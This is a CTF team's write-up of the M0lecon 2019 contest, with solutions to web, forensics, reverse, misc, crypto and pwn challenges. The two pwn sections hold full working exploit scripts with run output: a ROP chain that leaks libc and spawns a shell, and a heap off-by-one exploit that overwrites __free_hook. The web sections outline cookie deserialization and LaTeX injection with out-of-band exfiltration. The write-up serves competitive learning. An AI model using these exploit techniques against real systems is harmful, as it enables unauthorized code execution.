M0lecon 2019
This was an on-site CTF by the Polictenico di Torino’s CTF team pwnthem0le, which took place during the M0lecon 2019 event. Our team won the competition :D
Web 1
- You can login with any user and any password, but the admin user
- When you login a
login
cookie is set with a base64 encoded PHP object (e.g.base64_encode('O:4:"User":3:{s:2:"id";i:2;s:8:"username";s:1:"'";s:5:"admin";b:0;}')
) - By changing the PHP object to use the
admin
asusername
and the boolean propertyadmin
astrue
you become admin and get the flag
Flag: ptm{Cl455_S3r14l1z4t10n_15_B34ut1ful}
Web 2
- You have a web portal which allows to write articles in
LaTeX
LaTeX
in its syntax has some commands which allowRCE
- No filter were in place, so a simple copy/paste from PayloadsAllTheThings did the trick
- Using an OOB channel was the best way for us to extract the
config.php
file which contained theflag
Flag: ptm{L4t3x_1nj3ct10n_1s_c00l}
Fore
- In this chall you need to analyze the file dmp with volatility framework; from the chall page you can download two files: the first one is the dump, the second one the suggested profile.
-
The profile need to be moved in the right path(/volatility/volatility/plugins/overlays/linux) before start volatility.
- In order to find the correct profile name you can use this command:
python vol.py --info | grep -i mint
- After that, we have started to analyze dump; in this case the memory dump is made from a Linux system, and the command set from volatility to analyze Linux memory dump is a little bit restricted than Windows memory analysis command-set.
root@kali:python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_pslist Volatility Foundation Volatility Framework 2.6.1 Offset Name Pid PPid Uid Gid DTB Start Time ------------------ -------------------- --------------- --------------- --------------- ------ ------------------ ---------- -- trim -- 0xffff8800542aa740 bash 2302 2296 1000 1000 0x00000000543f3000 2019-11-29 22:29:41 UTC+0000 0xffff88005719e220 thunderbird 2319 2184 1000 1000 0x00000000542ec000 2019-11-29 22:29:43 UTC+0000 0xffff8800788e44b0 cinnamon-screen 2380 1741 1000 1000 0x0000000054397000 2019-11-29 22:29:48 UTC+0000 0xffff880079c86bf0 mintupdate-laun 2381 1741 1000 1000 0x0000000057274000 2019-11-29 22:29:48 UTC+0000 0xffff8800788cbae0 sh 2384 2381 1000 1000 0x0000000078398000 2019-11-29 22:29:48 UTC+0000 -- trim --
- Between system processes and other useless stuff, we can find a Thunderbird istance; Thunderbird execution is fairly automated.
- We can try to use linux_bash to see the history of used command and find something about Thunderbird.
root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_bash Volatility Foundation Volatility Framework 2.6.1 Pid Name Command Time Command -------- -------------------- ------------------------------ ------- -- trim -- 2302 bash 2019-06-21 22:01:12 UTC+0000 cd /home 2302 bash 2019-06-21 22:01:13 UTC+0000 cd hackermaster 2302 bash 2019-06-21 22:01:14 UTC+0000 cd emails 2302 bash 2019-06-21 22:01:15 UTC+0000 wget 192.168.1.107/hackz/client_data.zip 2302 bash 2019-06-21 22:01:40 UTC+0000 thunderbird "Please be careful with what you do.eml" 2302 bash 2019-06-21 22:02:42 UTC+0000 thunderbird "Re: Please be careful with what you do.eml" 2302 bash 2019-06-21 22:03:32 UTC+0000 thunderbird "Need the moneyz now.eml" 2302 bash 2019-06-21 22:04:30 UTC+0000 thunderbird "Re: Re: Please be careful with what you do.eml" -- trim --
- Intresting, we can find 4 different .eml files opened with Thunderbird. In linux memory dump analysis, we need to find the correct inode value and send it to linux_find_file with -i and -O options to extract every single file.
root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -F "/home/hackermaster/emails/Your_filename_here.eml" Volatility Foundation Volatility Framework 2.6.1 Inode Number Inode File Path ---------------- ------------------ --------- 814605 0xffff880078eabc48 /home/hackermaster/emails/Need the moneyz now.eml 814389 0xffff880078e9f060 /home/hackermaster/emails/Please be careful with what you do.eml 814373 0xffff880078e9f458 /home/hackermaster/emails/Re: Please be careful with what you do.eml 814162 0xffff880078e9fc48 /home/hackermaster/emails/Re: Re: Please be careful with what you do.eml root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078eabc48 -O "Need the moneyz now.eml" root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9f060 -O "Please be careful with what you do.eml" root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9f458 -O "Re: Please be careful with what you do.eml" root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9fc48 -O "Re: Re: Please be careful with what you do.eml"
- Three of those mails are simply text with nothing intresting, but “Need the moneyz now.eml” have an attached zip file.
- After unzip that, we have a lot of json files with strange names and a txt with an ethereum wallett address inside.
- Simply use a recursive grep with the string ‘ptm{‘ (the flag format) to solve the chall.
Flag: ptm{wh4t_1s_h3_d0ing_With_tH4t_dat4}
Rev 1
- An
ELF
was provided - By running
strings
on it it can be discovered to be generated byPyInstaller
- Using
pyi-archive_viewer
it was possible to extract thepyc
bytecode - The
header
of thepyc
was removed byPyInstaller
, so it should be re-added and then it could bedecomPYled
withuncompyle6
- The decompiled python script does some math operations on big numbers (i.e.
print((chr(pow(small_number, very_big_number) % 1000)))
) - By doing the
%
operation also before thepow
one it was possible to speed-up the script and get the flag in seconds (i.e.print((chr(pow((small_number % 1000), (very_big_number % 1000)) % 1000)))
)
Flag: ptm{30058c5c3989ece35831e815e83e0505}
Misc 1
- The flag was hidden in a
div
with thedisplay:none
CSS property in the description of the challenge itself
Flag: ptm{W3lc0m3_70_m0l3C0n_CTF!}
Misc 2
- Rules and definitions
-
we are given n sequences of numbers, a set of rules to build a solution sequence from these and a definition of best solution
-
we can pick only the numbers at the beginning of the sequences, once you pick an element that is removed from the input sequences and put into the solution sequence
-
to compare two solutions we have to compute the value x-y where x and y are the first different elements of the sequences we are comparing
-
if we provide the best solution we repeat the process with a new input
-
- Solution
-
at each iteration we pick the minimum among the available elements at the beginning of the sequences we are provided with
-
in case of conflicts (i.e. more than one minimum) we move to compare the second element of the candidate sequences (the one with the minimum at the beginning) and so on until we can establish which one to pick
-
given the way the best solution is measured, this algorithm will be enough to find the best solution in a reasonable time
-
def solve(ss):
sol = []
while True:
ss = list(filter(lambda s: len(s) > 0, ss))
if len(ss) == 0:
break
heads = {}
for i in range(len(ss)):
if ss[i][0] in heads.keys():
#print("CONFLICT!")
l1 = list(ss[i])
l2 = list(ss[heads[ss[i][0]]])
for j in range(min(len(l1), len(l2))):
try:
if l1[j] > l2[j]:
break
elif l1[j] < l2[j]:
heads[l1[0]] = i
break
except:
print("ANOTHER CONFLICT!")
exit(0)
else:
heads[ss[i][0]] = i
new = min(heads.keys())
sol.append(new)
ss[heads[new]].pop(0)
return sol
from pwnapi import *
log.level = 2
context.update(host="10.255.0.1", port=8005)
p = context.getremote()
p.recvuntil(b"Now it's your turn!\n\n")
while True:
ss = []
while True:
l = p.recvline()
s = list(map(lambda x: int(x), l.strip().split()))
if len(s) == 0:
break
ss.append(s)
sol = solve(ss)
pay = ("{} "*len(sol)).strip().format(*sol).encode("utf-8")
p.sendlineafter(b"sequence\"?", pay)
while p.recv(1) != b"!":
pass
p.recvuntil(b"\n\n\n")
p.recvall()
p.close()
Flag: ptm{5up3r_f457_1n_c4rD_6Am3s}
Crypto 2
- By reversing the binary you can learn that:
- The program reads some
a
,b
andp
from the./params
file. - Reads the flag from file and encrypts it by using the
encrypt
function - The encrypt function behave like the following C++/Pseudocode
- The program reads some
__int64 encrypt(__int64 a1, vector<unsigned int> *message)
{
InfInt sum = InfInt(0);
InfInt power;
for ( i = 0; i < message.size(); ++i )
{
myPow(power, 256, message.size() - i - 1);
sum += InfInt(message[i])*power;
}
sum += 1337
std::cout << sum << std::endl;
unsigned int seed = now().time_since_epoch().count();
srand(seed);
int r = rand();
InfInt randv;
randv = p / 0x7FFFFFFF * r;
sum = (sum * randv + 1) % p;
a_randv = a * randv;
b_sum = b * sum;
enc_sum = (a_randv + b_sum) % p;
enc_diff = (a_randv _ b_sum) % p;
if (enc_diff < 0) {
enc_diff += p;
}
a1 = std::pair<InfInt,InfInt>(a1, (__int64)&v11, (__int64)&v12);
return a1;
}
- The idea here is to send multiple time the same message to be encrypted, generate the “sum” (like in the cout above) and then run the following SageMath script.
from Crypto.Util.number import long_to_bytes
cipher1=[
1657193054003946939742382039546178248764670964093956768428222754149558900484660423527213927409731682492391649192884642286972836750184248785223918459744699,
9393149816861097990249702302505021603400732592123252503116137566283707142638124367678170286762151736722171457008067398498155737944943155046469028379079674
]
cipher2=[
8567657050186210539812433490723910952475953365776184198464020501236978388794781400334504727276101618868281832944377160415402086128091946377445840531078288,
5608821411558755844947151824603641814259531937527920016345776121936177018601438328338200624208839078384905595006944812697328138726508018110801426846026457
]
cipher3=[
793367049655931060762753233354685831932640135849414074345377052132000065850916722724046406778375795612456646357707665197849363431642555273503228771193778,
7294789427811005632196844363150149690307758418592767276751589840254636358146705068590938842193417495862235903122916362826752853301014990898527383238441432
]
enc_message=44046402572626160612103472728795008085361523578694645928734845681441465001626
matrix = MatrixSpace(QQ,4,4)
vec = VectorSpace(QQ,4)
mat1 = matrix([cipher1[0]+cipher1[1],0,-2,0,cipher2[0]+cipher2[1],0,0,-2,0,cipher1[0]-cipher1[1],-2*enc_message,0,0,cipher2[0]-cipher2[1],0,-2*enc_message]).inverse()
mat2 = matrix([cipher1[0]+cipher1[1],0,-2,0,cipher3[0]+cipher3[1],0,0,-2,0,cipher1[0]-cipher1[1],-2*enc_message,0,0,cipher3[0]-cipher3[1],0,-2*enc_message]).inverse()
x1 = mat1*vec([0,0,2,2])
x2 = mat2*vec([0,0,2,2])
ares = x1[0].numerator() * x2[0].denominator() - x1[0].denominator() * x2[0].numerator()
bres = x1[1].numerator() * x2[1].denominator() - x1[1].denominator() * x2[1].numerator()
z = gcd(ares, bres)
print(z)
#for f in factor(z):
# print(f)
flag=[
4359033484857692329373218835891273223514277989389887380295361415464889770166389701631419427834781246508138660575223898424123475008882009518656242889895631,
1632584625552577634192244416449206016411410634392809925962891108131606575665762171492327868243444711605020193366871285556543848503175607073462086340098314
]
p = 9653752804826064052029859504357788343793666970085809058730805328470766932451241626459959462175810916447560141687115090556455161113988122849830800950814781
a = inverse_mod((inverse_mod(x1[0].denominator(), p) * x1[0].numerator()) % p, p)
b = inverse_mod((inverse_mod(x1[1].denominator(), p) * x1[1].numerator()) % p, p)
a = inverse_mod((inverse_mod(2 * a, p) * (flag[0] + flag[1])), p)
b = inverse_mod(2 * b, p) * (flag[0] - flag[1]) - 1
flag = (a * b - 1337) % p
print(long_to_bytes(flag))
Flag: ptm{l1n3ar_alg3br4_at_1t5_b3s7!}
Pwn 1
-
We are given an ELF binary with no stack canaries protections and no PIC.
-
The vulnerability lies in this function
void __cdecl sub_400BED()
{
__int64 v0; // [rsp+20h] [rbp-20h]
__int64 v1; // [rsp+28h] [rbp-18h]
__int64 v2; // [rsp+30h] [rbp-10h]
__int64 v3; // [rsp+38h] [rbp-8h]
__int64 vars0; // [rsp+40h] [rbp+0h]
__int64 retaddr; // [rsp+48h] [rbp+8h]
sub_400A68(&v0);
sub_400ABF(&v0);
puts("Now give me your block data: ");
HIDWORD(v3) = read(0, &qword_6020E0, 0x80uLL);
if ( !(unsigned int)sub_400B14((__int64)&qword_6020E0, SHIDWORD(v3), (__int64)&v0) )
{
puts("Go mine somewhere else!!\n");
exit(1);
}
v0 = qword_602100;
v1 = qword_602108;
v2 = qword_602110;
v3 = qword_602118;
vars0 = qword_602120;
retaddr = qword_602128; // WE CONTROL THE RETURN POINTER
puts("Block successfully mined. Bye!\n");
}
- To reach the ret instruction we need to pass a check
signed __int64 __fastcall sub_400B14(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v4; // [rsp+8h] [rbp-98h]
char v5[16]; // [rsp+20h] [rbp-80h]
char v6; // [rsp+30h] [rbp-70h]
int j; // [rsp+98h] [rbp-8h]
int i; // [rsp+9Ch] [rbp-4h]
v4 = a3;
MD5_Init(&v6);
MD5_Update(&v6, a1, a2);
MD5_Final(v5, &v6);
for ( i = 0; i <= 15; ++i )
printf("%02x", (unsigned __int8)v5[i]);
putchar(10);
for ( j = 0; j <= 1; ++j )
{
if ( *(_BYTE *)(j + v4) != v5[j] )
return 0LL;
}
return 1LL;
}
-
Since only the first two bytes of the hash are checked we can try to bruteforce it
-
We’re gonna trigger the vulnerability a first time to execute a short ropchain which will leak an address from the GOT to compute the libc_base and then ret2vuln
-
Now we know the addresses of functions and strings from libc in memory
-
We’re gonna trigger the vulnerability a second time to hijack the execution to
system("/bin/sh")
Exploit
def brute_payload(proof, pay):
def md5(data):
import hashlib
m = hashlib.md5()
m.update(data)
return m.hexdigest().encode("utf-8")
i = 0
while True:
pay2 = (pay+str(i).encode("utf-8"))[:128]
h = md5(pay2)
if proof[:4] == h[:4]:
return pay2
i += 1
from pwnapi import *
log.level = 1
context.binary = ELF("./proof_of_pwn")
libc = ELF("./libc.so.6")
p = context.getprocess()
proof = p.recvline().split()[-1]
log.info("required proof: {}".format(proof.decode("utf-8")))
rop = p64(context.binary.findgadgetbystr("pop rdi;ret"))
rop += p64(context.binary.sym.got.puts)
rop += p64(context.binary.sym.plt.puts)
rop += p64(0x00400bed) # check function
payload = brute_payload(proof, fit({72:rop}))
p.sendafter(b"\n", payload)
p.recvuntil(b"\n\n")
puts = u64(p.recvline().strip().ljust(8, b"\x00"))
libc_base = puts - libc.sym.puts
system = libc_base + libc.sym.system
binsh = libc_base + next(libc.search("/bin/sh"))
log.info("libc base: 0x{:x}".format(libc_base))
log.info("system: 0x{:x}".format(system))
log.info("binsh: 0x{:x}".format(binsh))
proof = p.recvline().split()[-1]
log.info("required proof: {}".format(proof.decode("utf-8")))
rop = p64(context.binary.findgadgetbystr("pop rdi;ret"))
rop += p64(binsh)
rop += p64(system)
rop += p64(context.binary.findgadgetbystr("mov eax, 0;leave;ret"))
payload = brute_payload(proof, fit({72:rop}))
p.sendafter(b": \n", payload)
p.recvuntil(b"\n\n")
p.sendline(b"cat flag.txt; exit")
log.info("flag: {}".format(p.recvall().decode("utf-8")))
p.close()
Output (local run)
$ python exploit.py
[INFO]: Opening binary ./libc.so.6
──────────────────────────────────────────────────────────────────────────────
arch x86
bits 64
endian little
os linux
static False
stripped True
canary True
nx True
pic True
relocs False
sanitiz False
──────────────────────────────────────────────────────────────────────────────
[INFO]: Opening binary ./proof_of_pwn
──────────────────────────────────────────────────────────────────────────────
arch x86
bits 64
endian little
os linux
static False
stripped True
canary False
nx True
pic False
relocs False
sanitiz False
──────────────────────────────────────────────────────────────────────────────
[INFO]: Process started with PID 17148 ./proof_of_pwn
[INFO]: required proof: 289510e3b590959fb0b0177fe57612d3
[INFO]: libc base: 0x7f10f5e8e000
[INFO]: system: 0x7f10f5ed3390
[INFO]: binsh: 0x7f10f601ad57
[INFO]: required proof: b222d1572a57e35c7416ff32e234f90a
[INFO]: flag: ptm{p00r_8rut3f0rc1ng_c4n_h3lp}
[INFO]: Process 17148 exited with code -7
Flag: ptm{p00r_8rut3f0rc1ng_c4n_h3lp}
Pwn 2
We are given a binary with no PIE and full RELRO. The binary offers an augmented interface over the one for PWN 1:
[DEBUG] <– Binary compiled with debug prints and experimental functions –>
- Mine a new block
- Edit transaction name
- Show transaction name
- Delete a block
- Edit hash [EXPERIMENTAL] Your choice:
The interface allows to create a new block, edit/retrieve the associated transaction name, delete the block and modify the associated hash. Each allocated block is 248 bytes in size, dynamically allocated through malloc(), of which:
- 224 contain the data we send, if we successfully pass the hash check above
- 8 contain a pointer to the transaction name
- 16 contain the hash itself
The interface above gives us four useful primitives:
P.1) Allocate an arbitrary number of fixed size buffers (248 bytes) and fill the first 224 bytes with arbitrary content P.2) Dereference (Read/Write primitive) a pointer located 24 bytes from the end of the buffer P.3) Modify the last 16 bytes of a buffer after it has been allocated P.4) Free on demand the allocated buffers
On top of this, the [DEBUG] messages that the application prints leak each allocated buffer address:
Proof your value! -> d5abc3bc1ca8459d8ffef9c968b7308e [DEBUG] block is at 0x1221010
Just like in PWN 1, in order to add (mine) a new block, one needs to send a buffer that matches the randomly generated MD5 sum. In this case, though, only one byte is compared:
for ( j = 0; j <= 0; ++j )
{
if ( *(_BYTE *)(j + v4) != v8[j] )
return 0LL;
}
The vulnerability lies in the “Edit hash” functionality and is a classic off-by-one NULL byte overflow:
read(0, (void *)(table[v0] + 232LL), 0x10uLL);
result = table[v0];
*(_BYTE *)(result + 248) = 0;
Since the allocated buffers are 0x100 (256) bytes in size, the NULL byte overflow allows to change the ‘size’ field of an adjacent allocated chunk, moving it from the allocated state (0x101 - 0x1 Present flag) to the free state (0x100). P.4 allows to control the last 16 bytes of a buffer, which translates into controlling the prev_size field of a (fake in our case) free buffer.
Through the control of the Present flag + the prev_size field and since we control the contents of the buffers that we load, it is possible to completely create a fake chunk and desynchronize the heap. Once the heap is desynchronized, we can force the allocation of new buffers that overlap with existing ones and allow control of the R/W primitive through P.2. P.2 is used both to infoleak the base address of libc and to overwrite the contents of __free_hook with a onegadget from the provided libc.so, therefore leading to arbitrary code execution.
Let’s detail the steps for exploitation:
1) Create enough dummy buffers until the allocator starts returning consecutive allocations (in the specific case here, no dummy buffers are needed, but we still allocate one to use at the end)
2) Allocate three consecutive buffers that we’ll call B1, B2, B3. B3 is the victim buffer, B2 is the attacking buffer (that we’ll use to overflow into the size portion of B3) and B1 will contain most of the necessary data to fake the free object.
3) Allocate an extra buffer, B4, to get the bottom chunk out of the way.
4) Once B1 and B2 addresses are known, free B1 and re-allocate it, this time with the proper payload. From the exploit:
payload = "A"*96
payload += p64(0)
payload += p64(int(buf2_addr, 16) - 80) * 2
payload += p64(0x4141414141414141) * 8
payload += p64(0x140 | 0x1)
payload += p64(int(buf1_addr, 16) + 88) * 2
The above payload provides fake FD and BK (self referencing higher up to pass glibc integrity checks) and mirrors the selected fake size (0x140), while stating that the previous buffer is Present (0x1 flag), once again to pass glibc safety checks.
Through P.3 the fake size (0x140) is written to ‘prev_size’ for B2, which also triggers the overflow:
io.sendline("5")
eat_menu(io)
io.sendline("2")
payload = p64(0x4444444444444444)
payload += p64(0x140)
At this point, all the necessary fake structures are in place.
5) Trigger the buffer coalesce by freeing B3
6) Allocate a new buffer B5. This time, because the heap is desynced, we get a misaligned address and B5 contents overlap with some of B1. In particular, at B5 + 32 there is the Transaction Name pointer for B1.
7) Use the payload of B5 to overwrite B1 Transaction Name pointer and point it to the binary GOT entry of a libc function. In the exploit, ‘puts’ is selected.
8) Use P.2 through B1 to read the address in the GOT and extract the libc base
9) Free B5 and reallocate it. In this case, in the payload, store at B5 + 32 the address of __free_hook.
10) Use P.2 through B1 to write to __free_hook the address of the libc one-gadget
11) Use P.4 over the dummy buffer allocated at the start to trigger the shell and enjoying the party.
Exploit (dirty python written by a C developer and gloriously uncommented) follows
Exploit
from pwn import *
def brute_payload(proof, pay):
def md5(data):
import hashlib
m = hashlib.md5()
m.update(data)
return m.hexdigest()
i = 0
while True:
pay2 = (pay+str(i)).ljust(224)
h = md5(pay2)
if proof[:2] == h[:2]:
return pay2
i += 1
def eat_menu(io):
io.recvuntil(":", timeout=4)
def alloc_buffer(io, payload='aaa', tname='dummy'):
io.sendline("1")
md5_line = io.recvline().split()[-1]
addr = io.recvline().split()[-1]
eat_menu(io)
good_payload = brute_payload(md5_line, payload)
io.send(good_payload)
eat_menu(io)
io.sendline(tname)
eat_menu(io)
log.info("buffer allocated at 0x{:x}".format(addr))
return addr
def free_buffer(io, id):
io.sendline("4")
eat_menu(io)
io.sendline(id)
eat_menu(io)
log.info("buffer {} freed".format(id))
context.log_level = "INFO"
context.binary = "./proof_of_pown2"
libc = ELF("./libc.so.6")
io = process(context.binary.path, env={"LD_PRELOAD":"./libc.so.6"})
eat_menu(io)
#alloc dummy buffer
alloc_buffer(io)
# alloc starting buffer
buf1_addr = alloc_buffer(io)
#alloc attack buffer
buf2_addr = alloc_buffer(io)
#alloc victim buffer
buf3_addr = alloc_buffer(io)
#prevent topchunk messing
buf4_addr = alloc_buffer(io)
free_buffer(io, "1")
payload = "A"*96
payload += p64(0)
payload += p64(int(buf2_addr, 16) - 80) * 2
payload += p64(0x4141414141414141) * 8
payload += p64(0x140 | 0x1)
payload += p64(int(buf1_addr, 16) + 88) * 2
alloc_buffer(io, payload=payload)
io.sendline("5")
eat_menu(io)
io.sendline("2")
payload = p64(0x4444444444444444)
payload += p64(0x140)
io.sendline(payload)
recvd_buffer = io.recvuntil(":", timeout=1)
free_buffer(io, "3")
payload = p64(0x4444444444444444)*4
payload += p64(0x601f80)
alloc_buffer(io, payload=payload)
io.sendline("3")
eat_menu(io)
io.sendline("5")
io.recvuntil("name: ")
aslr_puts = u64(io.recv(8)[:-2]+"\x00\x00")
libc_base = aslr_puts - libc.sym.puts
free_hook = libc_base + libc.sym.__free_hook
log.info("puts at: %x" % aslr_puts)
log.info("libc base is at: %x" % libc_base)
log.info("free hook is at: %x" % free_hook )
payload = p64(0x4444444444444444)*4
payload += p64(free_hook)
eat_menu(io)
free_buffer(io, "6")
alloc_buffer(io, payload=payload)
io.sendline("2")
eat_menu(io)
io.sendline("5")
one_gadget = libc_base + 0x4526a
payload = p64(one_gadget)
io.sendline(payload)
eat_menu(io)
io.sendline("4")
eat_menu(io)
io.sendline("0")
io.interactive()
io.close()
quit()
Output Run (LOCAL)
ctf@ctf:~/two$ python exploit_edited.py
[*] '/home/ctf/two/proof_of_pown2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
[*] '/home/ctf/two/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/ctf/two/proof_of_pown2': pid 12070
[*] buffer allocated at 0xd01010
[*] buffer allocated at 0xd01110
[*] buffer allocated at 0xd01210
[*] buffer allocated at 0xd01310
[*] buffer allocated at 0xd01410
[*] buffer 1 freed
[*] buffer allocated at 0xd01110
[*] buffer 3 freed
[*] buffer allocated at 0xd011d0
[*] puts at: 7efef9400690
[*] libc base is at: 7efef9391000
[*] free hook is at: 7efef97577a8
[*] buffer 6 freed
[*] buffer allocated at 0xd011d0
[*] Switching to interactive mode
Index: $
Flag: ptm{5t0p_m355ing_wi7h_bl0ckch4ins}